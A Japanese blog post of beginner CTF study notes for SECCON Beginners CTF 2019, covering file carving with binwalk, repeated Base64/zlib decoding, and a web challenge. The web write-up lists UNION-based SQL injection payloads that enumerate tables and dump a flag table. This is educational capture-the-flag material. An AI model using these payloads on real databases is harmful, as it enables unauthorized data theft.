LoginSignup
2
1

More than 5 years have passed since last update.

自分用勉強メモ12日目

Last updated at Posted at 2019-05-28

SECCON Beginners CTF 2019に個人で参加しました.
CTFを始めたばかりで,乏しい知識をもとにできるだけ頑張ってみました.
結果解けたのは(Welcome除いて)1問だけでした(泣).

終わった後,いろいろな人のWriteupを見て,足りない知識を補っていったので,まとめます.

containers (Misc)

与えられたバイナリデータをまずbinwalkで見ます.

binwalk -e e35860e49ca3fa367e456207ebc9ff2f_containers

中にPNGファイルが複数隠されていることがわかるので,抽出します.

binwalk -D 'png image:png' e35860e49ca3fa367e456207ebc9ff2f_containers

ファイルブラウザ(Ubuntuで行ったのでNautilus)で開くと,アルファベットやら記号の画像が並んでいるのがわかります.
サイズ順に整理し,順に繋げるとフラグになります.

Pythonで画像を横に連結するプログラムを実装してみました.

concat_images.py
from glob import glob
import os
from PIL import Image
import sys

def extract_files(file_list, extentions):
    '''
    ファイルリストから,拡張子に該当するもののみを返す

    extensions: list
    '''
    file_list = [file for file in file_list if os.path.splitext(file)[1][1:] in extentions]
    return file_list

def sort_files_by_filesize(file_list):
    '''
    ファイルリストをファイルの大きさ順にソートして返す
    '''
    file_list_with_size = []
    for i in range(len(file_list)):
        file_list_with_size.append((file_list[i], os.path.getsize(file_list[i])))
    file_list_with_size.sort(key=lambda filename: filename[1], reverse=True)
    for i in range(len(file_list_with_size)):
        file_list_with_size[i] = file_list_with_size[i][0]
    return file_list_with_size

def get_concat_h(im1, im2):
    '''
    画像を横に連結する
    '''
    dst = Image.new('RGB', (im1.width + im2.width, im1.height))
    dst.paste(im1, (0, 0))
    dst.paste(im2, (im1.width, 0))
    return dst

def get_concat_h_multi(im_list):
    '''
    3つ以上の画像を横に連結する
    '''
    _im = im_list.pop(0)
    for im in im_list:
        _im = get_concat_h(_im, im)
    return _im

def concat_images(file_list, savename):
    '''
    ファイルの一覧をもとに,画像を連結して保存する
    '''
    image_list = [Image.open(file) for file in file_list]
    get_concat_h_multi(image_list).save(savename)


if __name__ == '__main__':
    # 第一引数で複数のPNGファイルがあるディレクトリを指定します
    dir_path = sys.argv[1]
    file_list = glob(os.path.join(dir_path, '*'))
    file_list = extract_files(file_list, ['png'])
    file_list = sort_files_by_filesize(file_list)
    savename = 'containers_concat_image.png'
    concat_images(file_list, savename)

[warmup] So Tired (Crypto)

テキストファイルが渡されます.
Base64でデコードすることはわかったのですが,その後何をしていいのかわからなくなりました.
自分はここで断念です.

デコードしたファイルをfileで見ると,zlibで圧縮されていることがわかります.

$ file encrypted_decoded.txt 
encrypted_decoded.txt: zlib compressed data

Pythonで解凍して中身を見ると,さらにBase64デコードできそうな文字列が抽出できます.

>>> from zlib import decompress
>>> data = open('encrypted_decoded.txt').read()
>>> print(decompress(data))
# (略)

これが繰り返されると踏んで,エラーになるまでループを回すとフラグを取得できます.

参考:SECCON Beginners CTF 2019 writeup

[warmup] Ramen (Web)

HTMLソースやキャッシュに怪しいところがなかったので,SQLインジェクションをするのかなぁと思ったが,手が出せず.

丁寧に解くなら,以下の手順.
1. カラム数を確認する

' union select null,null,null # -> エラー
' union select null,null # -> エラーなしなので,2列
  1. テーブル名を取得する
' union select table_name,null from INFORMATION_SCHEMA.COLUMNS #

検索結果にテーブル名が列挙されます.
最後の方にflagというテーブル名を確認.

  1. フラグを獲得
' union select flag,null from flag #

参考:SECCON Beginners CTF 2019 Writeup

感想

解法の導入がわかるようにはなってきた問題もあるけど,まだまだ手も足も出なくて,知識の無さを痛感しました.
今後は常設CTFやビギナー向けのCTFに参加して少しずつ精進していきます!

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1